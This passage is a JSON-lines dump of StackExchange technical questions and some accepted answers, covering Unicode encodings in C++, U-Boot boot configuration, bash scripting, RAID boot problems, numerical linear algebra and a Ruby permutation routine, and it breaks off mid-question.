{  "id": "_softwareengineering.236194"  , "question": "I'm working on an cross platform C++ project, which doesn't consider unicode, and need change to support unicode.There is following two choices, and I need to decide which one to choose.Using UTF-8 (std::string) which will make it easy to support posix system.Using UTF-32 (std::wstring) which will make it easy to call windows API.So for item #1 UTF8, the benefit is code change will not too many. But the concern is some basic rule will broken for UTF8, for example, string.size() will not equal the character length.search an '/' in path will be hard to implement (I'm not 100% sure).So any more experience? And which one I should choose?"  , "title": "Does it make sense to choose UTF-32, based on concern that some basic rule will be broken for UTF-8?"  , "tags": "c++;programming practices;cross platform;unicode"  , "accepted_answer": "Use UTF-8. string.size() won't equal the amount of code points, but that is mostly a useless metric anyway. In almost all cases, you should either worry about the number of user-perceived characters/glyphs (and for that, UTF-32 fails just as badly), or about the number of bytes of storage used (for this, UTF-32 is offers no advantage and uses more bytes to boot).Searching for an ASCII character, such as /, will actually be easier than with other encodings, because you can simply use any byte/ASCII based search routine (even old C strstr if you have 0 terminators). UTF-8 is designed such that all ASCII characters use the same byte representation in UTF-8, and no non-ASCII character shares any byte with any ASCII character.The Windows API uses UTF-16, and UTF-16 doesn't offer string.size() == code_point_count either. It also shares all downsides of UTF-32, more or less. Furthermore, making the application handle Unicode probably won't be as simple as making all strings UTF-{8,16,32}; good Unicode support can require some tricky logic like normalizing text, handling silly code points well (this can become a security issue for some applications), making string manipulations such as slicing and iteration work with glyphs or code points instead of bytes, etc.There are more reasons to use UTF-8 (and reasons not to use UTF-{16,32}) than I can reasonably describe here. Please refer to the UTF-8 manifesto if you need more convincing."  } 
{  "id": "_unix.324234"  , "question": "I would like to specify U-Boot not to use uramdisk to boot because my ramdisk is part of the Linux image. The problem is that even if I choose sdboot which I modified and call bootm {linux} - {devicetree} it checks for the uramdisk.image.gz file existence.EDIT : Whatever I do it doesn't override sdboot property. It's like it is loading my uEnv.txt (and it works because it correctly takes my device tree blob which has a different name) and just after that it overrides the sdboot property...Here is my uEnv.txt file :sdboot=if mmcinfo; then run uenvboot; echo Copying Linux from SD to RAM... && load mmc 0 ${kernel_load_address} ${kernel_image} && echo Copying Device Tree from SD to RAM... && load mmc 0 ${devicetree_load_address} ${devicetree_image} && echo Boot Linux kernel... &&bootm ${kernel_load_address} - ${devicetree_load_address}; fiAnd here is the log I get :U-Boot 2015.07-svn563 (Nov 17 2016 - 17:10:38 +0100)Model: Zynq ZC702 Development BoardI2C:   readyDRAM:  ECC disabled 512 MiB# Malloc address : 0x1F316000# Malloc size    : 12713984 (0x00c20000)# CONFIG_SYS_TEXT_BASE       : 0x04000000# U-Boot relocated in RAM at : 0x1ff36000MMC:   zynq_sdhci: 0SF: Detected N25Q128 with page size 256 Bytes, erase size 64 KiB, total 16 MiB*** Warning - bad CRC, using default environment# load_addr = 0x00000000In:    serialOut:   serialErr:   serialModel: Zynq ZC702 Development BoardNet:   Gem.e000b000Hit any key to stop autoboot:  0 Device: zynq_sdhciManufacturer ID: 3OEM: 5344Name: SE32G Tran Speed: 50000000Rd Block Len: 512SD version 3.0High Capacity: YesCapacity: 29.7 GiBBus Width: 4-bitErase Group Size: 512 Bytesreading uEnv.txt2187 bytes read in 14 ms (152.3 KiB/s)Loaded environment from uEnv.txtImporting environment from SD ...Copying Linux from SD to RAM...reading busybox.img11904111 bytes read in 1003 ms (11.3 MiB/s)reading mlg-x.dtb13851 bytes read in 15 ms (901.4 KiB/s)reading uramdisk.image.gz** Unable to read file uramdisk.image.gz **zynq-uboot> Here is the full trace if I let the autoboot fail with uramdisk, then printenv, then reset default env and printenv again :U-Boot 2015.07-svn563 (Nov 17 2016 - 17:10:38 +0100)Model: Zynq ZC702 Development BoardI2C:   readyDRAM:  ECC disabled 512 MiB# Malloc address : 0x1F316000# Malloc size    : 12713984 (0x00c20000)# CONFIG_SYS_TEXT_BASE       : 0x04000000# U-Boot relocated in RAM at : 0x1ff36000MMC:   zynq_sdhci: 0SF: Detected N25Q128 with page size 256 Bytes, erase size 64 KiB, total 16 MiB*** Warning - bad CRC, using default environment# load_addr = 0x00000000In:    serialOut:   serialErr:   serialModel: Zynq ZC702 Development BoardNet:   Gem.e000b000Hit any key to stop autoboot:  0 Device: zynq_sdhciManufacturer ID: 3OEM: 5344Name: SE32G Tran Speed: 50000000Rd Block Len: 512SD version 3.0High Capacity: YesCapacity: 29.7 GiBBus Width: 4-bitErase Group Size: 512 Bytesreading uEnv.txt381 bytes read in 10 ms (37.1 KiB/s)Loaded environment from uEnv.txtImporting environment from SD ...Copying Linux from SD to RAM...reading busybox.img11904111 bytes read in 1004 ms (11.3 MiB/s)reading mlg-x.dtb13839 bytes read in 15 ms (900.4 KiB/s)reading uramdisk.image.gz** Unable to read file uramdisk.image.gz **zynq-uboot> printenv baudrate=115200bitstream_image=system.bit.binboot_image=BOOT.binboot_size=0xF00000bootcmd=run $modebootbootdelay=3bootenv=uEnv.txtdevicetree_image=mlg-x.dtbdevicetree_load_address=0x2000000devicetree_size=0x20000dfu_mmc=run dfu_mmc_info && dfu 0 mmc 0dfu_mmc_info=set dfu_alt_info ${kernel_image} fat 0 1\\\\;${devicetree_image} fat 0 1\\\\;${ramdisk_image} fat 0 1dfu_ram=run dfu_ram_info && dfu 0 ram 0dfu_ram_info=set dfu_alt_info ${kernel_image} ram 0x3000000 0x500000\\\\;${devicetree_image} ram 0x2A00000 0x20000\\\\;${ramdisk_image} ram 0x2000000 0x600000ethact=Gem.e000b000ethaddr=00:0a:35:00:01:22fdt_high=0x20000000filesize=360fimportbootenv=echo Importing environment from SD ...; env import -t ${loadbootenv_addr} $filesizeinitrd_high=0x20000000ipaddr=10.10.70.102jtagboot=echo TFTPing Linux to RAM... && tftpboot ${kernel_load_address} ${kernel_image} && tftpboot ${devicetree_load_address} ${devicetree_image} && tftpboot ${ramdisk_load_address} ${ramdisk_image} && bootm ${kernel_load_address} ${ramdisk_load_address} ${devicetree_load_address}kernel_image=busybox.imgkernel_load_address=0x2080000kernel_size=0x500000loadbit_addr=0x100000loadbootenv=load mmc 0 ${loadbootenv_addr} ${bootenv}loadbootenv_addr=0x2000000mmc_loadbit=echo Loading bitstream from SD/MMC/eMMC to RAM.. && mmcinfo && load mmc 0 ${loadbit_addr} ${bitstream_image} && fpga load 0 ${loadbit_addr} ${filesize}modeboot=sdbootnandboot=echo Copying Linux from NAND flash to RAM... && nand read ${kernel_load_address} 0x100000 ${kernel_size} && nand read ${devicetree_load_address} 0x600000 ${devicetree_size} && echo Copying ramdisk... && nand read ${ramdisk_load_address} 0x620000 ${ramdisk_size} && bootm ${kernel_load_address} ${ramdisk_load_address} ${devicetree_load_address}norboot=echo Copying Linux from NOR flash to RAM... && cp.b 0xE2100000 ${kernel_load_address} ${kernel_size} && cp.b 0xE2600000 ${devicetree_load_address} ${devicetree_size} && echo Copying ramdisk... && cp.b 0xE2620000 ${ramdisk_load_address} ${ramdisk_size} && bootm ${kernel_load_address} ${ramdisk_load_address} ${devicetree_load_address}preboot=if test $modeboot = sdboot && env run sd_uEnvtxt_existence_test; then if env run loadbootenv; then env run importbootenv; fi; fi; qspiboot=echo Copying Linux from QSPI flash to RAM... && sf probe 0 0 0 && sf read ${kernel_load_address} 0x100000 ${kernel_size} && sf read ${devicetree_load_address} 0x600000 ${devicetree_size} && echo Copying ramdisk... && sf read ${ramdisk_load_address} 0x620000 ${ramdisk_size} && bootm ${kernel_load_address} ${ramdisk_load_address} ${devicetree_load_address}ramdisk_image=uramdisk.image.gzramdisk_load_address=0x4000000ramdisk_size=0x5E0000rsa_jtagboot=echo TFTPing Image to RAM... && tftpboot 0x100000 ${boot_image} && zynqrsa 0x100000 && bootm ${kernel_load_address} ${ramdisk_load_address} ${devicetree_load_address}rsa_nandboot=echo Copying Image from NAND flash to RAM... && nand read 0x100000 0x0 ${boot_size} && zynqrsa 0x100000 && bootm ${kernel_load_address} ${ramdisk_load_address} ${devicetree_load_address}rsa_norboot=echo Copying Image from NOR flash to RAM... && cp.b 0xE2100000 0x100000 ${boot_size} && zynqrsa 0x100000 && bootm ${kernel_load_address} ${ramdisk_load_address} ${devicetree_load_address}rsa_qspiboot=echo Copying Image from QSPI flash to RAM... && sf probe 0 0 0 && sf read 0x100000 0x0 ${boot_size} && zynqrsa 0x100000 && bootm ${kernel_load_address} ${ramdisk_load_address} ${devicetree_load_address}rsa_sdboot=echo Copying Image from SD to RAM... && load mmc 0 0x100000 ${boot_image} && zynqrsa 0x100000 && bootm ${kernel_load_address} ${ramdisk_load_address} ${devicetree_load_address}sd_uEnvtxt_existence_test=test -e mmc 0 /uEnv.txtsdboot=if mmcinfo; then run uenvboot; echo Copying Linux from SD to RAM... && load mmc 0 ${kernel_load_address} ${kernel_image} && echo Copying Device Tree from SD to RAM... && load mmc 0 ${devicetree_load_address} ${devicetree_image} && echo Boot Linux kernel... && bootm ${kernel_load_address} - ${devicetree_load_address}; fiserverip=10.10.70.101stderr=serialstdin=serialstdout=serialthor_mmc=run dfu_mmc_info && thordown 0 mmc 0thor_ram=run dfu_ram_info && thordown 0 ram 0uenvboot=if run loadbootenv; then echo Loaded environment from ${bootenv}; run importbootenv; fi; if test -n $uenvcmd; then echo Running uenvcmd ...; run uenvcmd; fiusbboot=if usb start; then run uenvboot; echo Copying Linux from USB to RAM... && load usb 0 ${kernel_load_address} ${kernel_image} && load usb 0 ${devicetree_load_address} ${devicetree_image} && load usb 0 ${ramdisk_load_address} ${ramdisk_image} && bootm ${kernel_load_address} ${ramdisk_load_address} ${devicetree_load_address}; fiEnvironment size: 4843/131068 byteszynq-uboot> env default -f -a## Resetting to default environmentzynq-uboot> printenv baudrate=115200bitstream_image=system.bit.binboot_image=BOOT.binboot_size=0xF00000bootcmd=run $modebootbootdelay=3bootenv=uEnv.txtdevicetree_image=devicetree.dtbdevicetree_load_address=0x2000000devicetree_size=0x20000dfu_mmc=run dfu_mmc_info && dfu 0 mmc 0dfu_mmc_info=set dfu_alt_info ${kernel_image} fat 0 1\\\\;${devicetree_image} fat 0 1\\\\;${ramdisk_image} fat 0 1dfu_ram=run dfu_ram_info && dfu 0 ram 0dfu_ram_info=set dfu_alt_info ${kernel_image} ram 0x3000000 0x500000\\\\;${devicetree_image} ram 0x2A00000 0x20000\\\\;${ramdisk_image} ram 0x2000000 0x600000ethaddr=00:0a:35:00:01:22fdt_high=0x20000000importbootenv=echo Importing environment from SD ...; env import -t ${loadbootenv_addr} $filesizeinitrd_high=0x20000000ipaddr=10.10.70.102jtagboot=echo TFTPing Linux to RAM... && tftpboot ${kernel_load_address} ${kernel_image} && tftpboot ${devicetree_load_address} ${devicetree_image} && tftpboot ${ramdisk_load_address} ${ramdisk_image} && bootm ${kernel_load_address} ${ramdisk_load_address} ${devicetree_load_address}kernel_image=uImagekernel_load_address=0x2080000kernel_size=0x500000loadbit_addr=0x100000loadbootenv=load mmc 0 ${loadbootenv_addr} ${bootenv}loadbootenv_addr=0x2000000mmc_loadbit=echo Loading bitstream from SD/MMC/eMMC to RAM.. && mmcinfo && load mmc 0 ${loadbit_addr} ${bitstream_image} && fpga load 0 ${loadbit_addr} ${filesize}nandboot=echo Copying Linux from NAND flash to RAM... && nand read ${kernel_load_address} 0x100000 ${kernel_size} && nand read ${devicetree_load_address} 0x600000 ${devicetree_size} && echo Copying ramdisk... && nand read ${ramdisk_load_address} 0x620000 ${ramdisk_size} && bootm ${kernel_load_address} ${ramdisk_load_address} ${devicetree_load_address}norboot=echo Copying Linux from NOR flash to RAM... && cp.b 0xE2100000 ${kernel_load_address} ${kernel_size} && cp.b 0xE2600000 ${devicetree_load_address} ${devicetree_size} && echo Copying ramdisk... && cp.b 0xE2620000 ${ramdisk_load_address} ${ramdisk_size} && bootm ${kernel_load_address} ${ramdisk_load_address} ${devicetree_load_address}preboot=if test $modeboot = sdboot && env run sd_uEnvtxt_existence_test; then if env run loadbootenv; then env run importbootenv; fi; fi; qspiboot=echo Copying Linux from QSPI flash to RAM... && sf probe 0 0 0 && sf read ${kernel_load_address} 0x100000 ${kernel_size} && sf read ${devicetree_load_address} 0x600000 ${devicetree_size} && echo Copying ramdisk... && sf read ${ramdisk_load_address} 0x620000 ${ramdisk_size} && bootm ${kernel_load_address} ${ramdisk_load_address} ${devicetree_load_address}ramdisk_image=uramdisk.image.gzramdisk_load_address=0x4000000ramdisk_size=0x5E0000rsa_jtagboot=echo TFTPing Image to RAM... && tftpboot 0x100000 ${boot_image} && zynqrsa 0x100000 && bootm ${kernel_load_address} ${ramdisk_load_address} ${devicetree_load_address}rsa_nandboot=echo Copying Image from NAND flash to RAM... && nand read 0x100000 0x0 ${boot_size} && zynqrsa 0x100000 && bootm ${kernel_load_address} ${ramdisk_load_address} ${devicetree_load_address}rsa_norboot=echo Copying Image from NOR flash to RAM... && cp.b 0xE2100000 0x100000 ${boot_size} && zynqrsa 0x100000 && bootm ${kernel_load_address} ${ramdisk_load_address} ${devicetree_load_address}rsa_qspiboot=echo Copying Image from QSPI flash to RAM... && sf probe 0 0 0 && sf read 0x100000 0x0 ${boot_size} && zynqrsa 0x100000 && bootm ${kernel_load_address} ${ramdisk_load_address} ${devicetree_load_address}rsa_sdboot=echo Copying Image from SD to RAM... && load mmc 0 0x100000 ${boot_image} && zynqrsa 0x100000 && bootm ${kernel_load_address} ${ramdisk_load_address} ${devicetree_load_address}sd_uEnvtxt_existence_test=test -e mmc 0 /uEnv.txtsdboot=if mmcinfo; then run uenvboot; echo Copying Linux from SD to RAM... && load mmc 0 ${kernel_load_address} ${kernel_image} && load mmc 0 ${devicetree_load_address} ${devicetree_image} && load mmc 0 ${ramdisk_load_address} ${ramdisk_image} && bootm ${kernel_load_address} ${ramdisk_load_address} ${devicetree_load_address}; fiserverip=10.10.70.101thor_mmc=run dfu_mmc_info && thordown 0 mmc 0thor_ram=run dfu_ram_info && thordown 0 ram 0uenvboot=if run loadbootenv; then echo Loaded environment from ${bootenv}; run importbootenv; fi; if test -n $uenvcmd; then echo Running uenvcmd ...; run uenvcmd; fiusbboot=if usb start; then run uenvboot; echo Copying Linux from USB to RAM... && load usb 0 ${kernel_load_address} ${kernel_image} && load usb 0 ${devicetree_load_address} ${devicetree_image} && load usb 0 ${ramdisk_load_address} ${ramdisk_image} && bootm ${kernel_load_address} ${ramdisk_load_address} ${devicetree_load_address}; fiEnvironment size: 4742/131068 byteszynq-uboot>"  , "title": "How to specify U-Boot not to use uramdisk"  , "tags": "linux kernel;u boot;ramdisk"  } 
{  "id": "_webapps.28057"  , "question": "I have two different organizations that I want to use Trello for, using the same email address or is it possible to have a username that is not an email address?"  , "title": "Creating multiple accounts with the same email"  , "tags": "trello"  } 
{  "id": "_unix.166711"  , "question": "I'm new to this forum and linux in general and I'm having trouble connecting to the internet in some situations. I have a Thinkpad T530 that's running Linux Mint 13 LTS. The problem I'm having is that I cannot connect to my home network which is password protected. I have no problem connecting to unprotected networks. I would give more information but I'm not at my computer right now. Thanks for any help."  , "title": "Unable to connect to WPA network"  , "tags": "linux mint;wpa"  } 
{  "id": "_unix.235554"  , "question": "I managed to write the following script:#!/bin/bash#files listfile1=/tmp/1wall_long.txtfile2=/tmp/1wall_test1.txtfile3=/tmp/1wall_test2.txtfile4=/tmp/1wall_test3.txtfile5=/tmp/3mt_long.txtfile6=/tmp/3mt_OpenSpace_test1.txtfile7=/tmp/3mt_OpenSpace_test2.txtfile8=/tmp/3mt_OpenSpace_test3.txtfile9=/tmp/3rooms_test1.txtfile10=/tmp/3rooms_test2.txtfile11=/tmp/3rooms_test3.txtfile12=/tmp/20mt_OpenSpace_test1.txtfile13=/tmp/20mt_OpenSpace_test2.txtfile14=/tmp/20mt_OpenSpace_test3.txt#script for 1wall_long fileif [ ! -e $file1 ]; then #check if the file exist    echo File 1wall_long.txt does not exist #if not exist print echo outputelse    sed -i -e 's/- /-/g' $file1 #remove space on the first 10 values    awk '{print $7}' $file1 > /tmp/1wall_long_S.txt #print the column number 7 and copy the output in a file    rm $file1 #remove old filefiThe script is repeated for all files described in the variable (basically I have the same script repeated 14 times with different variables)Is  there  a better way to do it and what is the best practice in these situations ?"  , "title": "bash script - loop function"  , "tags": "bash;shell script"  , "accepted_answer": "Personally, I would avoid hardcoding the file names. That is rarely a good idea and it is usually better to have the option of passing target files as arguments. Additionally, you are modifying the file in place and then deleting the original. That's not efficient, just modify the file on the fly and print the 7th column without having to write it to disk. For example:#!/usr/bin/env bash## Iterate over the file names givenfor file in $@; do    ## Get the output file's name. The ${file%.*} is    ## the file's anme without its extension.    outfile=${file%.*}_S.txt    ## If the file exists    if [ -e $file ]; then    ## remove the spaces and print the 7th column    sed 's/- /-/g' $file | awk '{print $7}' > $outfile &&        ## Delete the original but only if the step        ## above was successful (that's what the && does)/        rm $file     else    ## If the file doesn't exist, print an error message    echo The file $file does not exist!    fidoneThen, you can run the script like this:foo.sh /tmp/1wall_long.txt /tmp/1wall_test1.txt /tmp/1wall_test2.txt /tmp/1wall_test3.txt /tmp/20mt_OpenSpace_test1.txt /tmp/20mt_OpenSpace_test2.txt /tmp/20mt_OpenSpace_test3.txt /tmp/3mt_long.txt /tmp/3mt_OpenSpace_test1.txt /tmp/3mt_OpenSpace_test2.txt /tmp/3mt_OpenSpace_test3.txt /tmp/3rooms_test1.txt /tmp/3rooms_test2.txt /tmp/3rooms_test3.txt If you do want to have the names hard coded, just use an array as suggested by @choroba:#!/usr/bin/env bashfiles=(/tmp/1wall_long.txt /tmp/1wall_test1.txt /tmp/1wall_test2.txt /tmp/1wall_test3.txt /tmp/20mt_OpenSpace_test1.txt /tmp/20mt_OpenSpace_test2.txt /tmp/20mt_OpenSpace_test3.txt /tmp/3mt_long.txt /tmp/3mt_OpenSpace_test1.txt /tmp/3mt_OpenSpace_test2.txt /tmp/3mt_OpenSpace_test3.txt /tmp/3rooms_test1.txt /tmp/3rooms_test2.txt /tmp/3rooms_test3.txt )## Iterate over the file names givenfor file in ${files[@]}; do    ## Get the output file's name. The ${file%.*} is    ## the file's anme without its extension.    outfile=${file%.*}_S.txt    ## If the file exists    if [ -e $file ]; then    ## remove the spaces and print the 7th column    sed 's/- /-/g' $file | awk '{print $7}' > $outfile &&        ## Delete the original but only if the step        ## above was successful (that's what the && does)/        rm $file     else    ## If the file doesn't exist, print an error message    echo The file $file does not exist!    fidone"  } 
{  "id": "_unix.198791"  , "question": "I'm running Ubuntu 15.04 64-bit Desktop Edition (A Debian based Linux).I used sudo dpkg-reconfigure console-setup from the command line to change the default console font type to Terminus.  Immediately afterwards the console fonts changed to the sharper looking font face.However, after a reboot Ctrl+Alt+F1 takes me to a console window that has the original chunkier looking style font face, not my selected choice.The /etc/default/console-setup file appears to have been changed to my choices.# CONFIGURATION FILE FOR SETUPCON# Consult the console-setup(5) manual page.ACTIVE_CONSOLES=/dev/tty[1-6]CHARMAP=UTF-8CODESET=guessFONTFACE=TerminusFONTSIZE=8x16VIDEOMODE=# The following is an example how to use a braille font# FONT='lat9w-08.psf.gz brl-8x8.psf'How do I permanently change the console font to use my preferred font?"  , "title": "How do I permanently change the console TTY font type so it holds after reboot?"  , "tags": "command line;console;tty;fonts"  } 
{  "id": "_codereview.173706"  , "question": "This is small utility class I made format.utility.ts. There are some other one off utility methods in here I removed for this. The one in question is duration()class Duration {  constructor(public value: number, public name: string) { }}export class FormatUtility {  private static durations: Array<Duration> = [    new Duration(60, 'seconds'),    new Duration(60, 'minutes'),    new Duration(24, 'hours'),    new Duration(7, 'days'),    new Duration(4, 'weeks'),    new Duration(12, 'months'),    new Duration(null, 'years')  ]  public static duration(time: number, interval?: string, duration?: Duration): string {    time = Math.abs(time);    duration = duration == null ? (interval == null ? this.durations[0] : this.durations.find(x => x.name == interval)) : duration;    if (!duration)      throw new Error(`The interval specified (${interval}) is unknown`);    if (!duration.value || time <= duration.value)      return Math.round(time) + ' ' + duration.name;    let i: number = this.durations.findIndex(x => x.name == duration.name);    return this.duration(time / duration.value, null, this.durations[i+1]);  }}tests/examples:FormatUtility.duration(12)// '12 seconds'FormatUtility.duration(87)// '1 minutes'FormatUtility.duration(112, 'hours')// '5 days'FormatUtility.duration(4585, 'minutes')// '3 days'FormatUtility.duration(23999999, 'hours')// '2976 years'The point of this is I have a lot of places in my app where I have display a duration like '12 days ago' or '6 minutes ago' but there are no requirements on the specific interval to use. They wanted to always have 'the most human readable interval for the specific time'. So I came up with this utility and method. Using moment.js elsewhere I get the duration between two dates in seconds and then call FormatUtility.duration(seconds) and have it generate that human readable label for me.For the review, I'm notoriously awful with recursion which is why I chose to use it here. Looking for general feedback on Typescript usage, vanilla JS, recursion, and whatever else. Is there a better way? Or changes to make this better?If anyone sees red flags, please let me know."  , "title": "Recursive time formatter"  , "tags": "datetime;recursion;formatting;typescript"  } 
{  "id": "_unix.43894"  , "question": "When I am running background processes like(I have 9 files suffixed by phastcon):for i in *.phastcon; do cut -f 2 $i >$i.value & doneAfter kicking the Enter, I get the output in terminal showing background id and process id,[1] 22917[2] 22918[3] 22919[4] 22920[5] 22921[6] 22922[7] 22923[8] 22924[9] 22925But hen finished, I got[7]   Done                    cut -f 2 $i > $i.value[8]-  Done                    cut -f 2 $i > $i.value[1]   Done                    cut -f 2 $i > $i.value[2]   Done                    cut -f 2 $i > $i.value[3]   Done                    cut -f 2 $i > $i.value[4]   Done                    cut -f 2 $i > $i.value[5]   Done                    cut -f 2 $i > $i.value[6]-  Done                    cut -f 2 $i > $i.value[9]+  Done                    cut -f 2 $i > $i.valueThe results are all right.But I can not understand what is the difference of '-' and '+' after the square.Thank you for all helps!Tong"  , "title": "The meaning of '-' and '+' symbol when background processes are finished?"  , "tags": "bash"  , "accepted_answer": "From the bash manpage, in the section JOB CONTROL:In output pertaining to jobs (e.g., the output of the jobs command),  the current job is always flagged with a +, and the previous job with  a -.This explains the + behind the [9], because that was the last job started. It also explains the - behind [8] and [6], because they were the previous jobs at the moment they finished ([6] was the previous job because [7] and [8] finished before it)."  } 
{  "id": "_unix.275969"  , "question": "If I use cp in archive mode e.gcp -a /my_old_directory/* /new_location/my_new_directory/to replicate a directory structure and all that is in it.If I then run the same command again will any changed files be refreshed or over-written or skipped?(I know rsync is more advanced at this kind of thing, I'm just curious about cp -a as I can't find any description of what it actually does in this case."  , "title": "Does cp -a refresh existing files, overwrite or skip"  , "tags": "shell;cp"  } 
{  "id": "_unix.329495"  , "question": "I have RAID5 (10 x HDD +2 x Spare SATA setup)Everything was fine until i've replace 1st hdd (sda), system wont boot now.after sdb,sdc,and another hdd failure, system has rebuilded everything, no data loss of something happend, rebooted many times, changes chunk size for more performance, system worked perfectly, but after 1st hdd (sda) failure system wont boot. Any ideas how to solve it?whole system is in one partition /, there is no swap or /boot, or any other partition there right now.I can boot on rescue disk, mount whole raid, status is clean, but it wont boot alone.the operating system is fedora core 25./dev/md127:        Version : 1.2  Creation Time : Sat Dec 10 11:02:45 2016     Raid Level : raid5     Array Size : 40007870300160 (36.38 TiB 40 TB)   Raid Devices : 10  Total Devices : 12    Persistence : Superblock is persistent  Intent Bitmap : Internal    Update Time : Sat Dec 10 21:56:39 2016          State : clean Active Devices : 10Working Devices : 12 Failed Devices : 0  Spare Devices : 2         Layout : left-symmetric     Chunk Size : 512K           Name : fc25.host:OS_RAID           UUID : c130fef5:7fd56abe:4a813111:71db6c3f         Events : 719    Number   Major   Minor   RaidDevice State       7       8       32        0      active sync   /dev/sdc       8       8       48        1      active sync   /dev/sdd       9       8       80        2      active sync   /dev/sdf      10       8       96        3      active sync   /dev/sdg      16       8      176        4      active sync   /dev/sdl      15       8      160        5      active sync   /dev/sdk      14       8      144        6      active sync   /dev/sdj      13       8      128        7      active sync   /dev/sdi      12       8      112        8      active sync   /dev/sdh      11       8       64        9      active sync   /dev/sde       5       8        0        -      spare   /dev/sda       6       8       16        -      spare   /dev/sdb"  , "title": "linux boot raid 5 (config 10HDD +2 spare) after 4hdd replacement"  , "tags": "boot;raid5"  } 
{  "id": "_scicomp.25766"  , "question": "Is there routine in standard BLAS or LAPACK to set strictly-upper triangular part (the part above the diagonal) of a matrix to alpha? I do not want to change diagonal elements so laset is not a good candidate."  , "title": "Set strictly upper triangular part of a matrix to alpha using BLAS or LAPACK"  , "tags": "lapack;blas"  } 
{  "id": "_unix.106118"  , "question": "How to block all the network traffic from one user? But other users are alive to the network that the blocked user is able to connect to other users who have the permission to the internet."  , "title": "How to block all the network traffic from my running user"  , "tags": "networking;opensuse;tor"  } 
{  "id": "_cogsci.861"  , "question": "I've learned through course lectures that infants can recognize faces shortly after birth (Slater & Quinn, 2001), and have a visual preference for human features as young as 1-month-old (Sanefuji et al., 2011)[pdf]. Infants are also known to prefer hearing their mother's voices (DeCasper & Fifer, 1980) and motherese (Fernald,1984). Prefences for higher-pitched singing also suggests that babies may in general prefer higher pitches (Trainor & Zacharias, 1997). In general I would like to know more comprehensively what types of sound preferences do young infants have? And when is the youngest age for which these preferences are observed?"  , "title": "What types of sounds do young infants prefer?"  , "tags": "social psychology;developmental psychology;perceptual learning"  } 
{  "id": "_scicomp.14545"  , "question": "I've heard that classical Gram-Schmidt is more amenable to parallelization than modified Gram-Schmidt; apparently the reason has something to do with level 2 BLAS, which I'm not familiar with.  Also, in a comment on this question, @Jed Brown talks about left-looking and right-looking Gram-Schmidt, which I haven't found a reference to.How is the Gram-Schmidt algorithm parallelized in practice, and how effective is the parallelization?"  , "title": "Parallel Gram-Schmidt algorithms"  , "tags": "linear algebra;parallel computing"  } 
{  "id": "_unix.280751"  , "question": "I have a 3D surface in a text file which I need to plot on a regular X/Y grid. However, the values for X and Y are not regularly spaced and are not necessarily in ascending order. I need to regularly space the X and Y coordinates and interpolate the value in the Z column. The Z column does not need to be sub-sampled.Hear is an example of the file.The columns are X, Y and Value (or Z):50459.83        170405.62       0.0150439.13        170384.92       0.0350459.83        170384.92       0.0450480.53        170384.92       0.0150459.83        170364.22       0.1350480.53        170364.22       0.1450397.72        170343.51       0.2750418.42        170343.51       0.3350480.53        170343.51       0.3250501.23        170343.51       0.3650563.34        170343.51       0.29I would like an output like:50460        170400       0.0150440        170380       0.0350460        170380       0.0450480        170380       0.0150460        170360       0.13I.e. have X and Y sampled on a 20x20 grid, and have the Z column interpolated to those grid points (which I have not done in the example output).The file is very large, tens of millions of lines.Thank you."  , "title": "How do I interpolate a text file of 3D coordinates (X,Y,Z) onto a regular grid?"  , "tags": "shell;awk"  } 
{  "id": "_softwareengineering.303835"  , "question": "Currently we are planning to switch from our software version 5.x.x to 6.x.x. Such major releases contains in our case a lot of refactoring work and changing the software architecture. Instead of creating a new branch for version 6 (git), I thought to create a custom repository for this. In general, developing the new version bases on the old version, so it would be a copy.My problem is that developing version 5 will not stop, because bug fixes and a few minor changes will be done. But now I have two versions I am working on, in two separate repositories. What is the best way to make changes in both, without copy code, or do the work twice? Is there some effective way?Maybe some one else has the same issue before."  , "title": "Making major version step in software development in separate repository"  , "tags": "architecture;version control;git;branching;sdlc"  , "accepted_answer": "One common way to handle this scenario is to use a trunk/branch concept.  What you do is have the single repository and branch the 5.x.x version for maintenance reasons.  Then you put all of the your new 6.x.x changes into the trunk.  That way you maintain all of the version history of your code.  This also allows you to check out the old version and make a targeted fix there without impacting the trunk.  Here is what this would look like:                                                |------branch (5.x.x)                                                |----------------------------------------------------------------------Trunk (6.x.x)Then later if you ever need to have a  version 7.x.x you could do the same again:             |------branch (5.x.x)             |                             |---branch (6.x.x)             |                             |---------------------------------------------------------Trunk (7.x.x)"  } 
{  "id": "_codereview.163292"  , "question": "This method finds all permutations of a string and stores them in a sorted array. It then returns the element in the middle of the array. def middle_permutation(string)  sorted = string.chars.to_a.permutation.map(&:join).sort  sorted[sorted.length / 2 - 1]endFor strings over 10+ characters this code is too slow. How can I speed it up?Here are my tests. They pass, but I'd like it to be more efficient:describe Basic tests do  Test.assert_equals(middle_permutation(abc),bac)  Test.assert_equals(middle_permutation(abcd),bdca)  Test.assert_equals(middle_permutation(abcdx),cbxda)  Test.assert_equals(middle_permutation(abcdxg),cxgdba)  Test.assert_equals(middle_permutation(abcdxgz),dczxgba)end"  , "title": "Finding the middle permutation"  , "tags": "performance;ruby;array;combinatorics"  , "accepted_answer": "Calculating every permutation is very expensive so you want to avoid doing that. There are some ways to handle this:1) Sort the characters before you run your algorithm. That way you are sorting a few characters not billions of permutations.2) If the string has an even number of characters (say abcd) remove the almost middle character (b) and rewrite as something like 'b' + 'acd'.reverse3) If the string has an odd number of characters (say abcde) you can remove the middle character (c) leaving abde and simplify the result as 'c' + middle_permutation('abcd')(3) Will always be followed by (2)So you could rewrite your code as:def middle_permutation2(string)   string = string.chars.sort.join()  return string if string.length <= 2  if string.length.even?    middle = string.length / 2 - 1    remainder = string[0...middle] + string[middle+1..-1]    string[middle] + remainder.reverse  else    middle    = string.length / 2    remainder = string[0...middle-1] + string[middle+1..-1]    string[middle] + string[middle-1] + remainder.reverse  endend"  } 
{  "id": "_cstheory.7026"  , "question": "I'm interested in a data structure (let's call it a DMV queue, or DMV for short) over keys (say, strings) with the following operations:empty is a DMV containing no keys.enqueue(q,k) adds the key k to the back of the DMV q, unless k is already in q, in which case it does nothing.dequeue(q) deletes the key at the front of the DMV q, if one exists, and returns it.delete(q,k) removes the key k from the DMV q.depth(q,k) returns an natural number indicating the approximate number of keys between the key k and the front of the DMV q. Let $k_q$ denote the exact number of keys between k and the front of q. Then there must be some c such that for all k and q, $k_q/c$ < depth(q,k) < $ck_q$.I think I know how to provide the queue operations in $\\Theta(1)$ time and delete and depth in $\\Theta(\\lg n)$ time (all expected amortized). Is it possible to do better?My proposed solution is as follows: Maintain a balanced tree with $O(1)$ operations at the ends. Nearly any finger tree will do. This tree will store the keys in queue order at its nodes. Also, annotate every non-spine node with its number of descendants.Keep a hash table mapping keys to pointers to nodes in the tree.To enqueue a 